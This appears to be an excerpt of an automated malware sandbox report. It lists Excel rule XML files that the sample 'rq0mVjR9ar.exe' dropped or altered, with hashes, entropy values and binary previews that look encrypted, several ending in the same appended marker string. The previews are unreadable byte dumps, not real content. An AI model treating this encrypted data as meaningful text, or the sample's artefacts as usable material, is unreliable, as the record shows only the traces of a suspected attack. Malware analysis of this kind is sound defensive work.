Preview:	<?xmlj..)....> ...`..=C.&.Ec....2....q..,G.[..G...h...5...._...U.DoX.m. 3...C2..$......)......T....0.,N.t.7..u..OR%.pEc.j....2kIw?/(..u6.H@?.._.G..^o].S...B.h...\|.]`m.YW...=]\|].l...gC..-..^..F..Z...j.f.$.U.G .Y.....+.f.m..du....0..F...)..T.O..~Hx-1(. ..c......q..Z1:8t1.g._n...OdN..r. .Ux..)..]H..7..=..P+.M.<....Y...'.d....N.....n....B\|<p.x..Q....:ZTEC........#...:......q\!\.K.....H8n....+.px+.:.~.........~a....y.m.B.o....1..{q..S..h.fF.4cD.2.my..~._.A.....YF%............y...o.f...#C^.@E.d0.!..9..5u%{.1...=k.BF]..C...._Km.J..Pp.....k..f.T...........O.r$.r.d.`.pB.8Gr7....9.9,.}....?.6\.p9..d..UAy..us.e`.L...& &ZMvn.......D.b[/................o.Mo.."..o..\|... 3.U..:.q.,RZ..W.F^K..m.[s/;...........+p....".Q.l.]F...2W!./wl....G.b...I.p.f.>..7.%P3..4..s4'.....\|.\...._j..feD.D...Z.@.9..B.L...v..`!\A....."3-:...Ql.-..}.....G...:..B.P.M..#.!.m.S...9..u=.....C...O.....c.T......F.\|...t....P...m.Ij....5....._.....x..\|.H...J........HBw.Pz.!....%..}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.899201882369256
Encrypted:	false
SSDEEP:	48:+5r3+IZfjCJKpzRPsVk1TypkD8634o5jiD:+h+IZLZFPLTyc882
MD5:	E80A53A65EB89FB49C911B9E6D9B13DC
SHA1:	8881AC9D9A820E8FA20F91069BAF95A3A64434AA
SHA-256:	0B3E350080194D021F5AB409ACA151483EE07A4E25A18640699CA6E2E8A68AA9
SHA-512:	3F55F5D8352447DA6B1339C08E02DD109BE04FF80DC8FB316E687B5D99C52FCEC60C0A1F3B92BC4F7B91EBEA8B769B0B7C3C8D28839441CE320FFF7C2BA4A28C
Malicious:	false
Preview:	<?xml..(......P...F'.../..E..x...(..Z...M_.N.......^KU.d..!p.dt.C..e.g2To.U..cf .......:..&...f..D.w....g.]..K..)>.aA..v.S........_....)g.;..(.E..f.!..uzT..E..'.T..)....,Y...sZ..[..u.w.0...'q..P\.`..1.]!R...2..]....b.0...4Z%.$......s.sC..$Gw.B.n.uZ....(..m......p...1al..q...I..i.u.(9..v..g..66...D}.+.%....I.h..<....El.UT.&M.Hj!.H.i..v.3Q...00.....x....X..e_...c..KZ.@.._.D...V:yRY.f.i.B..B..:..+.dsI..9.&....fX.m..D.o..h.....<...9.P....W;.P.....1>.@....dO.y....=........=d.hz.D..vy`.....=o.43r....e8JQc.B....B.i...`.17.&..g..6..u.q.....9.`.ZK...8..O..U....y..q...8... ...p..e.D.f>.~.j?.SDJ..5.>S.a. N...4@..._\..O.K....%i..Fg.Y[B=r\..5.p.}...........:Y.`..w.#.>.....^...1..).f..)#!g..Z..~.r.}7..+....b_.:..Oz=;.z...."H....7..qi.0..!T"...+..E4.+.m.f..cv..0...>W..^7Rc....I_b..9.qP.)....:..,Jlm5.H.....nd.g@7OW.......xtQ.?cd....my......D...@.T.V......u.z.C.o.R...6.8.Z.m..I.".V...n..=.8# ...ou(.j....g...U]..bP04}`.......G ]...(r.$..[..Z.....!N^<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.853814341161962
Encrypted:	false
SSDEEP:	24:jvPK7MXMOhdRmmTX6fIYn3ebWkosx8FOj1gINvqyz2wZilScy0rGQDE9MggiTkbD:j0uMOB7X6fIY32Ww+Oj1gINvjzRjcy07
MD5:	9228120136A7EBBD996FB8A1CB0D24F0
SHA1:	DE5AC3D42FE71FC7B3CD0333ACB926081DD904EF
SHA-256:	5903F65D69E0D784F22E4E5B761308948E5CE91E207331FCA30BAFFCD8A2278C
SHA-512:	0537F72D4911B794045D4A32D34DB403828A26273BFB3E901E1BD6B703AE23A520644EBE19DF808CD1FD64C5FB8E66077B1F37894B4D3DB80004407BB5B35C69
Malicious:	false
Preview:	<?xml.?...$.lK.R0...Bx.b......x........][..5?....VN...E....ST`.^st_f..}...V[.X....<V..S/...A.....n...}c&\|M}.(-..B.-..~....R.....L.1..z.u.D....U/;.=Q.>FJ........J<)......3......I.R...l-.......yM..t......#..&..{}.l....X...FwwZ..C...'.......}.h@.L=.l..E.F..H..b2/...39.7...Z..t.."..q.........]!.f......d.8._.B.X.}f...({J.....!.5.......\|..........3..~..B...y...8..H.8...f.\T.-....,...qG.f.3..g.E.Xl.._t....j.0..'.9..Rj..`....l.A..p...0.s..NU...VB.^n}k.......J.....~.Z.1..k.........Uu%F...7.......~.\|n"kR.v.G.9/z......h...'.8Y...s....:..Y.[....d0 ...e..2....(.....y.L...g...X:...Id .5..._I9As..\%Z..u..9.+....I.f..9...qU5l.kT9.7...>,2x.....L....s......eTm.`."]........3oO...Y.`..-....\.F.@.v[...g.:s.<.w6..} j.?........x.sCr.?.^@U.6.y/L+.N.nL...]zX........Q.E{t.)..)?.z+E.N...6p.............x]....S.\.\B,...4.P!.)av.b..q....b..b....MyR2..^..G...b6VM.Z-.W....}uI...(.B..K.oH..1``]UZI.....,..H..@..t.e-1"\|$]...U..h.\|...../E......p.._..[$.Lsr...V.a..E..+...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.896323515086224
Encrypted:	false
SSDEEP:	48:WRKJ+3XoekaWf3ivCYA9qJ1vS32JFWc4zn+WxsulOAxbFHyiD:Wkw3XDkaWWvnTS3+Gz1Xl
MD5:	CA7C21929813463F172F294DB25FF147
SHA1:	0E679E163AC70E4238FFE0B2E4D1AECED6A2E38F
SHA-256:	58B242F6A0BE3DC10D2049B627752EF6A863333AD96AB9A1897FF361BB95AB46
SHA-512:	257B0F95300FE7F13689C3A67D7A0952F7C80D7B165BD1B04EE5B6E709FE0A09F51E62B7BB5C075D51D2CC43EAE72C8C63FBB3EF01B59ED73A1BB56742F72EEC
Malicious:	false
Preview:	<?xml...z..#...c.........k....W...../f.t..vu...&CT.`...TBo.2kg.xP.!..w....I..g.c..[........g:..d.h...g..0.."'....I.#.P..D..[B....[.`.wD.....L.<XG$...R=F.H.}.l..0..a...ql............{./[.xBX......\|31j)#..jG..&q.).h..e...3X..2.0.F......X./..&J@..T1_....k9..E.\.P..6....z...5.".~........>Z^.l....../.'....N.._.R......FC.f.\|;...S....U..uhE$..9..aB.J..G..$Y.%..r.#}%#..0-..M.1....7n..G...t....$\gw..T.........(..=....E)]9.c7.$B3O...:[......GrJM#<......6..r....l.F.yF}6.$O.I.{..<.....Z.[.;,.../....Mzs..i.^5....V.o.Dp...v.$}.W....;B$2.....Pv.UYdS1..#..m...h......<..+!........#.x..}..8..../.m.u.,.>Nd.......Nx.....b....o.iTy(... .rS.......:..R..$....X.m$.lQ....'.o.d=.Yc..0...4.n.}\|D..#.U:..."Vy}...M=.........R.~xq)~..b.c^p..."p..J..B.=6...F!.*cm..!;.oL-.........0..0..c..c..A...o..^g..y..t9....fP:.\.S..=U.{.l..S.....[.0....V<....h..0.xBg...../,..'..b."..E....._luS1S\pRk..o...7.....L.1.!.r.....yN.TJ...'#j...Up........6%..!.!.q.........V..=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.835009239189034
Encrypted:	false
SSDEEP:	24:w2KMN0lRhQ+FcqRuyfS9Cn2SYHMYLR749vVSV25cwG+9oh5TA/LORRkCAWMboS8q:wVbcqRuyfS73H749vVSIY+KA/6RRZ48q
MD5:	BB046432E06646501BE835E0E30D3504
SHA1:	26F770467B4C6CB126C43C8AA3F123F3DFDD31E0
SHA-256:	2B75DFB827ADCF6BCA2E4F9ED41A113C08DD7FA70B38D9A4A6303BEB4BB42986
SHA-512:	14E59A3A8D62C1726ECE7E59E501484117D20BB12CBD09AA3E552058CE7A254AC416C4C1F11F7F88171639944A38B7B8E3AD26FD3243C671C7AC9FCF37C79F68
Malicious:	false
Preview:	<?xmlM...H.k.`k#N!...6....}...b..ou....l..{...l...QQ%....../...4.S..E=I.$:.Y~.7.X.hn.>.`..X..H......f.g.q..V1..).4.[9..AB.a.m".)}..J....o.>..2V......E...K..O...?i...(.....X.33..0.;..L..[^<(....:.,....u.?.*9..)o$...?..rrz......c..w...0.n...9U,$.'..Z+..H...oZ.ph..r...?....`.9.9.x~+.uW........~Dx.Vi......L.....b.N.....Lp..Q.N...,...E....z..M.&.0.0....b..Qs.hN...."..\..L...l...Nc....?.......50......../K...Z.I@.....0...94S+^..;.E..B[p...a.....#5...........Z...\|.He.f.".m.....qR.........).':K..!...#.....7....!M<.......x.7._...n......../s.O..I.F..@lm..PSG..9...vqd....q.....FYb....2.t..V...%......+9....ehDTJ.B...... .\|.f..d..xKG..a2B....G..d`.{...{uo........7...>nG......Q.:].\|,.y....[...}P....".&_....o.R1......t~Uv3N.V..P........yCw.L...5.iN!r.&.......j.#.n...r=O.\|E.jT.d.l...wK.j?j;m.TvO.A.)Ep6s...w.g..k.m..c...p....j}..E......$b.y..O.@^6.E...Ie...I.......W..(....J+h......E.E&..6.C.[....<Xi.......F0..^g..Xia,.4...,0.;'...X.@E......D.]`O.u..y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.903159170259766
Encrypted:	false
SSDEEP:	48:lgfYcmos/EqxouPBJIRU5wgnt9GMdci59dYlPihpIE4iD:lgfYEyo+C+5wY9dh5fPIEH
MD5:	A2EF089A770F3C23D580C76181251FD7
SHA1:	2048505B94CF479285D80E0146E819523592A935
SHA-256:	50AF79FF57105DDA5DF2A9CF0145EEAAD32443699A66C8C29718917020997ABA
SHA-512:	5BDB20B336334BB8516791DCD468EFF8B16B0AA6FD0745DEC15C17AB3B3220D4134B83B29BF13099DCF690E0249B55DF09F34BF8FD2600EE2A41D0FF187E080F
Malicious:	false
Preview:	<?xmlz..D.[.k1....{..r...{.+..2."...O..}.P..U0.8....~U.^....p....f.N`..../..%.........E..N....Z...(w.u....r....]..Q...^.A..e/.{..m.8.......{.%...>L..~Rr......(.0Ow."%..:q..ml.eu..l......^......2MdE.(..m..Vs.;>OS&..;K2..9X..x`.../....\|f\|.Dr.1..?...#a.I...Tr.@"..(..'...7.h..h.K...O..2.8.V..06.S.L...........7.g.J......`.2.Z.U...qk.@..........si...p)m5D...Q@..c.a.......5!..v-.........X....{...?.N.q@T..[w.[.`@...n.8$..V_..%7....L...X.r..4..y.2y...w[}.G72H..vC..<.n...g-...w...t..E_.v...m...*>...C....9_A..f....#......V...lW/.W....S..\.cM.bc....u."..r..r,..\|.....s......E.C).....7mN..b.l.$....Se....5.HV!.-^Y..<......l....!C..7..3<.9Mq...k.R/....cn.-.Z..9.....8.b1$1...D/#..:..>.'..2G/E.{...N..S...~....D.<....1.J_..~D....J<......."_..:.P3..{......<.?T.W.g..'p...K.r......a...#.@z...'0K.#2......_..@c...._".Lj>..:........ayuB/.B.z.....Mz..A.....S...Nr...k@.z..48......].[.T{l.......J......!.y`....(.5~...V..X.3..;. ...L\...V.D.m..]".M.....F.%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.829580978028401
Encrypted:	false
SSDEEP:	24:j7D6maJNS9eeygM6GX1ziEsw2VtY7WDjEzUGIsx12iTkbD:j7D6maJNtpgMHXzOArxZxpiD
MD5:	E91844BBE69AB5ACFFA095ABA65C66A3
SHA1:	56F360A6D853E14B1D65324D670161B83FBF670E
SHA-256:	7DE5D5270E52860708F4C56F767F4DCBFFE832D22BAFAA92D17EE134DD9CFA97
SHA-512:	48E5683F403B0208A9DE38F2C944FCFC503849CC7AECF8109D0BBA1E76DEB3A330DEA17AF4578E98C1467D432B4CB3174B80CEC14523DE0810DB32D8E1A62F65
Malicious:	false
Preview:	<?xml..$.....$..F.F."...i.............u<.\..dn~.D[.`.....'.......s....W..d.1...Z.R..........y....y...8j..:..sb.S.,...{.g..B..ZG(o$3.....z]... ..>M6+.....dQ..s._d...L..E..}RWe\|.....}....Y.?.LR.....(1=.......^...n.=..y.s......l..3.5o...T.o.n...s.`.d.+V?4.,7..;.....QH....>.xr.>tf..U-2....Nh........F..bj+!.#...K0.....^.....Z4$...#....].)o.'~........9P......de.... 6.....>..~..ur.. ."6y...V...th.L...........ZWi;.'3.....7....s..>.f....Rd.1.C.....U.?/.J..'..(..E.J....+.. ...%.&..V.ST..y....WU.......W..... ......\|D..\.A].\|.]...cr.u..e........I.".2.......E.jH..Tvi..}f.#..O.c.U...l..a.....GQ..1.u[V...8...[d..).T+..s.c.Kb...^/7x.uAi$.7i.L.q.`.....}....E..!Y.Y.pS%./....ZE.52-......Lw.Ii9:.}.[...Y.^\|....s.2+...1.....e.+.C.....~c..NN.....P.....\A...l....}.../N..9.'.....g... {Ba4.}..2..K.l../A..U..M....T.,..36N%L....E...;...8"Z.M5yz...B"..P.t..\|W..Bn...]...%....J.I.\|Bgf.....)b...BD....}.V$....P..w'..d. .q.....lm.-.gb./S..nd\|.m.......:.S......zZ+..JR

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.78105676576884
Encrypted:	false
SSDEEP:	24:DL9rhmTZVkBLz5eKkB9Lj6CRHUe3sGCMX0rYiTkbD:9rcyLz5A9Ljhp3pPaJiD
MD5:	04664248966667EAE522DE1A501057B6
SHA1:	68D34407CA3010E640360961E883D080FE26E761
SHA-256:	51924FC8191EDF17B21CD5E67B0AC755B0EF0C18A8E08250BE4877FC00B06CAE
SHA-512:	A0390A544600D50DDB0612A78B3F72A69D30CE78A535A47CFF74212A0CC355C39D88ABD3194CFF454974562266FDEF7CC2318063F7AED39CC32256ED4884565C
Malicious:	false
Preview:	<?xmlv...v.=c.E..`)[..C~K.....n..w".0.p...i.#.q....TZ..E.S..z.b..D....7R...xW......y..(0...n4.=..6..%..{;..Sz....V.+..V.c.fv..Q....e........&..^...n....px.v_..C....L....I.!.J...1...[L.....7.F..o/....(.+Kz.:p..;...&p.ch...p.y. .Y.L..U..IT...qO...(.J\|.fM.c.....u..y;.L..F~.?.'+....`.m..Rb."..a.z.`v.a.e.=M.>.\|.4..[..,.........@..5.(.I...N=....w.d.0@...h.}..4ZQz.P.3.xkH..nJ........ .'.N....rZ..F.A.1..;....._...U...).mI.H..aZ..W0.j.....D...e..&,d$.....I_!{...,K...o..>.........+..B..~v.<p-...R(.e..e.:.\|.e.?.l....!.S..].Xi........[.........p-..'..$...P+...B.Z.;\|..DL........0.....&1)..].8..F..\|....-1..`.i..@.".....R.j.f..v4.\|..u .(l.....X.w1..x..Zg.........t....5Z.G...Mm%..R..VDK..L.]..=S.Q)p.".L.../b#....A...Z.z:.Km.0.h.R.r.A"..&.HZ.;..T.,.].Y.b}...Q.?.G...._....~...J./.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.897358269846228
Encrypted:	false
SSDEEP:	48:odgmqTj7z0oBbsp/VGKiDtL2wXp3/KhOQliD:odgmWfzcp/Ix5IO/
MD5:	754302C80732D69F12621D9CC4BD79C7
SHA1:	F632960825232C11CCCCF1D6DF6D65B1E3EB57D0
SHA-256:	7C9EAE01B850FD7BEC519B67FD26074026A09581BAE1DE38B7D270C27D1CD3E9
SHA-512:	FDE758EFD15E100AEA0ED199E2439FEDA28377624503B94B70D341974D0FA558B30097E8AEDFE255B8A46E565AA2423025945F0AC8D12C5EC9207FD1B161D2D9
Malicious:	false
Preview:	<?xmlIs.E.\|.o..=o........!.38<.X..w..[.;....]...v....V.....1\|...(8.Q.MHfH.).g.....6.Xb.CE.....A.g}.k..+....O..@.?.D....M..ak.Bu.5^.l..=B..,....'A...P.W@...j.X....By.m.KV...-=..?d{...}K.b..EU.qik.....C..[V.M.e.6.......a5i...!..@_enM..A...U..L....\..v.........EX .<..kN']...UM.(....,.>.....b.....=t#.NdP...$6.G.....\|....%....d+.2.m..N}.x.?...e\|p..M...bl....VH.......$....L.....XM!\..@.V...E.XE......gZQfz...[...wbZ.2...L...~..FX&l..`V.#.Z[..&.....:q.._l!.X.'...{..A..Hd..u.hRmbP..~..K.Z...&....s+.F....V9T.<.........&I.-8......L.Vs...w.YH..%...&i.9...1.~..3q.......(..S=.&{...\u..J....2...U.\..4s.x0::....".....$D..m.>b.......4....V.x.4....C..P.u...).a..%\|..tp+&...d.[.2... .l..Lo.,I......Lph...@..g.6]+n.Up..9........AI.=....V.._}...<O.K.VR>..g...`.M..4.hfo...L.6n..$.....6..Q6...!K.e..B.R...Iv\.aC.....h..xi.*..zl:^.c..6......U@.b..Hpn.qA.(Ie..FISG...O.A.m..!j.3Z...(..P.J.........bAw6.K.E.....KP.3F..yr.J.......%SaGb?kd....P>...9.gE\|.W.{...z.....Y.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.864251912575777
Encrypted:	false
SSDEEP:	24:QbqjXMn6WEssapi1XLvSNYNbTFcRMz51uegT1bqOTHvYHanS7PXb/5iTkbD:ZXMnro1XeiFcCTG1bqODjEQiD
MD5:	7CFBF3CA04B5D7721C92B0E39C310110
SHA1:	CA30B09C1E85D317164E487A4CC6F295E9389244
SHA-256:	AAC03B8961DC83F309C4C6D3673F27F370C9DC424218C0F163F60424EA91A7F9
SHA-512:	9F558B6414239FDA0E3B083E34962DEED5BB498BFBAB352F9041D745A9D3BC6E22E9A4BC5823720D6DB86B9087FC8FC0E6D15EEBF45837133FD65EEA4C9E4EA2
Malicious:	false
Preview:	<?xml..h.@.'..s.... ..b.1Q.......2&....S.}c...O..r.R.TG. {.....M..<.../9Y.&.\|.....C]c.X...K..'3....)s.+......S?..h.......n.^......f'P....E..t.~..p_.G.n....^..v.H.R..S$.....WA...x..`S.D5....).F.d..#W.........X.z...c..J.}....Pf.V.cU.vU.'.@...-t......G!.#...9...6W... .'......Nn...\.g.T+N<0]`M..4.9....k...."..j.-.$...&.<.!.B.:.....T.B}....~.S<.:20@$.x..Z.K..^Nu...N."A+..5.a3...q.wJ..)aM:O........H...3[.1....."/.++..XR.N..1."4.....O"1l..}xY>..B..D.+.PC8.k..E.."9D...M.......B.........W=E.....z#...wdqBW-r..7Dn......D.......GMajq.....&./e.g..6e.`'.J.y......-u.ru4..o...O.f.k.pV...#-;.)B..A9. h......D.P......&&...m....F..w....hQ..1.h=..\..W.`<.K.-..f..O.>l..6.5......:T8$.nd.bv..ag.4F....o.S.s..dkt.'V.kR.R....4v......3..Bs..eA.^.q./{..../rH]A...@....8...M......u..y..7P..3s,tc.......8.'J.3.',.....+.....Xw..jz.j.5..V.B.Fpi.............-...F.xw.W..A.C.&g.ma.*.......Z.....;.........+U%m.....$.vA.<...c.-.!~qv..5X.c.%..'.V.yI..[q.{.(N.m..n<8.B..Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.837813484323393
Encrypted:	false
SSDEEP:	24:NvZKnZ2WfGD7J23yXLcOZ+JX0gZTZoyNNEIKjvtImZbiTkbD:lAZC7JfXJ+JTZTZoCE3jvGyOiD
MD5:	701CF2C93372CAA5774FB2D515457175
SHA1:	8ED745FE8D2C677D367C549A0EF741E830DE3FB6
SHA-256:	4AF6D7ED5370D8ADFD732F8C64C920CB36F6DAB64523E11A6990261EBEB93843
SHA-512:	1903EBC2ABCDBB9BA2321C676552C19DEF02A5252B81FE9C8AD4619A0F2CAD038D2ECA506555F790B0484B1A0CC65339D55D3CF70C9D136685DFFC6A8EEAE67D
Malicious:	false
Preview:	<?xml{.1a..F..gf...E/ .....&.........)~.0h..h.U1.J...TN.!...ac-.w.[.j..E.2u.......9C..).T..^...v2..s......J?..>/kQY.#. !..j.'T.x.... ..^XFR.3.......$.......C.-b.E.v.&..K.Y.x.dg^..e........T_}..0.n...,....x....vjh.....-r.....Nky..^.G".e...~+...C.^Q..?...2.v...Nk,$>.;.fF.:.....N....6+.M.....E.v.m!..O.F.#.f.t.z.UNs'..S....C@w_..e.<v...F.0+.Z.....@R..n.2....c..........d..TYZ.>......T}._../\.xD.X.qJ.x.R......;Zm.....X...1j..xV.~..mGSkl....R...M.vv7qa......a...V.Lg...]L3T..9.........O.9..9.F/.;..Yx..........K[:*^...p;..@B.l. \|..W@..SKVkx.......5.!.. J.<.....@H..-W .n....)'XU.F..Wc.6.<v_.C.R.@a.F...(..f..m9K..%......Xy{F.3..\B..[.\|....y....8V....(NG].....^....T...(..^..O....E$....^.I.....t.m.I.&koo.d...9.a.H...\|.`......,m..3........<q.uD.Lfi.....S.uW%...3\|(n:Y.X.p..?......w/P0 ...n.KG..........u_..{..n...E>.e..g9..x...U.\|...9..M..Nv:.Z...\|.r....dz;..E.Z.r.5u...B.~}..SBR..?x..ZYC..............v...>. Z..8..TV...e...%....G..S+.b_...2O..]..+F...z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.6994741908030235
Encrypted:	false
SSDEEP:	12:WOdzTVykYmDuITK8foA4/MP5mipngHKtqO1W6741LURdqIOFBIEEXe2ixpZaciik:Zh4kfdK/A4Urngmqo7+LURspOEEBiTkX
MD5:	4C26F2159B11AECABEC21270B52AA86C
SHA1:	0B71612FE8E9F07C79FA5DC37E13D9C2B18FDD71
SHA-256:	2730FDF5B195529E4353C78499E3E988AB7EEC3E7EABA64A5BFEFDC4AAAC3CA6
SHA-512:	9ECB9CA1176EED476DB88E0CB4C553592DCA470F9FE745CD5260D96D442FA90761D7CB0378BAAABB9D4CD18B28A4097D8245BBCF17E35E4D13332B339BEFFCAE
Malicious:	false
Preview:	<?xmlR7.(%arz..<s.B..A.kG^?...xO.SMl ....w...A..y[.....Y......<..'.0p...A.:J...A.V....b3U.D..:.~..MYE%...7.2.>/.>4.P;..]..........?nR..J.......JT.pN#......W.,.fq[zZ.<!...C.W.p.#.X.u.E.m&G_.o6.....b....U.% .....B..h?..T...8...1.::.K"j.....ss.b.;.....J..4.$.#.{..}...a..p...%:@.BP.q..`.L%3q..[H..H..V1....H.<.k.&]..>K...j.b..@..X......j..I..O...../..g..(.E..Pf..._......p...F....@.6......+.$...7HB....[.p^...U.0&.D...+..ad....".0*a.._......D..g.d..=..$....}...R[...3._.%.,...._<.w.wJ..3.^..Bm..IP.u0....]..q.....?...U`.o/.wP7..44...`...`Ur..s.Y.f ..u~....."..].$O..?r..%.nGk..r.B..Oh....."..".<..j........V@>.S.T.Y.8u..U.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.79465007079941
Encrypted:	false
SSDEEP:	24:TlJ/3fefnXxQwKoqgR7Ojle4B5Q26IwnPVdAN+BJ2OiTkbD:v/vKXuwzR9U5QRbg9riD
MD5:	12A5A7E7CE5EBC5A50D07B7942E5B705
SHA1:	19B01D2E6AFCE0B5C216B2722D27B2D6C307BF25
SHA-256:	C24CDB2196F12F4E1CDD420FFDA2FF865988291124061223EC4C72FBC7C0A494
SHA-512:	88EC2CABDD6A34E7C6598875477C7442B06C25345D7CFF51C71915042E308B90F74CE201C14C3784E00250015EC8FA9A523F0AB647CEFE19C7ECCDADE3309388
Malicious:	false
Preview:	<?xml.X..e#......i;....HI.=...7?.....N.B.8....a.T.A...">.7........f..I.....,.;...v.b1.Pm-Y......W....!.F..t7K.I}c..g..."..!.<.+.vZ.x...\|...^r.%.G.2..I..~..r.....W.m.....{..j........>....;.F......O......._..[.!].b.u.c...............7..i.k..;.....1.;[.b!1..2.B.U.Til.B....XD..m.......d>..j..E'.>........7.f..dB,0.fy..gU...."..%9q.3.....e..-.8@.Y....X.w]~....`........z.XxrG.M.q.-kT.M8.xG. ...b.z.I....]k.6.I^.....7/T.#..KSF!D...1..i.I...Ns(..~J.iTQ.M...C.K.6.lr.F....F.\|\|.-.o_... ..b.........;b..#..LM.y.a.!........0z$....e.^...<%...".....W!...IxS:.P.T.o...Q.`..Xb.+4.$.$.&9;m..-V..m.}...Z.d.....i.i..L.T...5....[.d..?M..2....'.^p.OWnV.X.. .Q.r.W......n-/PzKD$..<Q..........\....e.$.o...n+.~9.a..f;..-.<$..S...#PSt..Dn'....T..BV.](.]..v..D.Z..].M..!XqU..`,..vF2.d.PS(.5.......ORu. ,>.........n.f.<-.V.......2+.M..C.....0.......y....:S..&1..Y..x......x..w...$..E....5.......)....a8.W..........P..)....s."(....-.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.789168091301481
Encrypted:	false
SSDEEP:	24:McQ7M+3PrvccihatfQZm+69+BtYg+iTkbD:Mcm/r0NaRKiD
MD5:	C4FA501FAD8B5520D63E481AE11171FC
SHA1:	95D9C338C8523E30C2B149D2693EEE3C9874426E
SHA-256:	29107548CDED89807016E30204E048FCC8E82CCE5A7DF72934E8F4DB02D2E02D
SHA-512:	60D70881F90691D0C471816A9DA080AFCC13BC1B1FFAA5348B452D8C79E9BF33F0A762B13E13F16C6949FC942687009FDC4C783F4BDE7077FFBBF3A35AD62BF3
Malicious:	false
Preview:	<?xml...........?._X. .<v"..z.j.}-..R.~j.. ?Izb!.%...`.\...U.%.y...uO8.e*.j7.e9Q.[..\|.L..n.A....y. .ni.....!.U...o\|....6kv...#3M........p..WY-h.4.Ut.@......&...X.....e...d.?..#c..@`KpY.>.0..w...tO..{.....G....U.sG..u...S.;..[........(..s.U.5U.LQ.J.]{u..."..S.K:l.....z\)+.A...4...r.P=_8...vf<...ppPShQ..&...tFy.H...4.=HE..Q.HXX...v.O.\./%..c..m.W.9.V....K.%.2y......R..^.fH....6.7..L.............]wv.'...Zl.=.......4..Z.....#....R.k...(0....x!F.3.....].Z.u.Y.R..]1.b...k.Ja)...j.?.^X.:R.\|6^..\.,h..>.k.]Npt...Y...y.v.N==.B......@....\|#.9.......:..wMc...8.z[Vl.O.i.7....-H...kq...~N...v3.s=.3..#..z...L.../.]..8....Z.t... ..E.&.....f.#}N.s."....X..'~.(R.,6..2...#.;........v.q..=.....K.d. ...._..s....6....^..x.qY...........NHZ!..a7..7....MC..g-(mnr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.821944195502905
Encrypted:	false
SSDEEP:	24:KOk+VAtPZgct1csWnN9Et50Atk3qZHzF6UWHdS+g3Zg05BzZmZ3kUIiTkbD:K3aEt1na9EJaaF6d9SVpv5Bz41HZiD
MD5:	12F22F6AEF45657824CC189F9AC34CE4
SHA1:	8A9DF5D48C5605C7A63FAF2C6DC49C772EB9F369
SHA-256:	1549B4ECFEA6FBB1E0B2C0AE6C0A9331E7466C6C8F683D3A37CF8014260EE21A
SHA-512:	C4D769F6953F9A09F93FA323BCE70F595D8E59E33CBBE1EB23759E0891C10B05AA73DF1F4146283ED7A916DED8438272896B1EBAB38D144A71023A695484914A
Malicious:	false
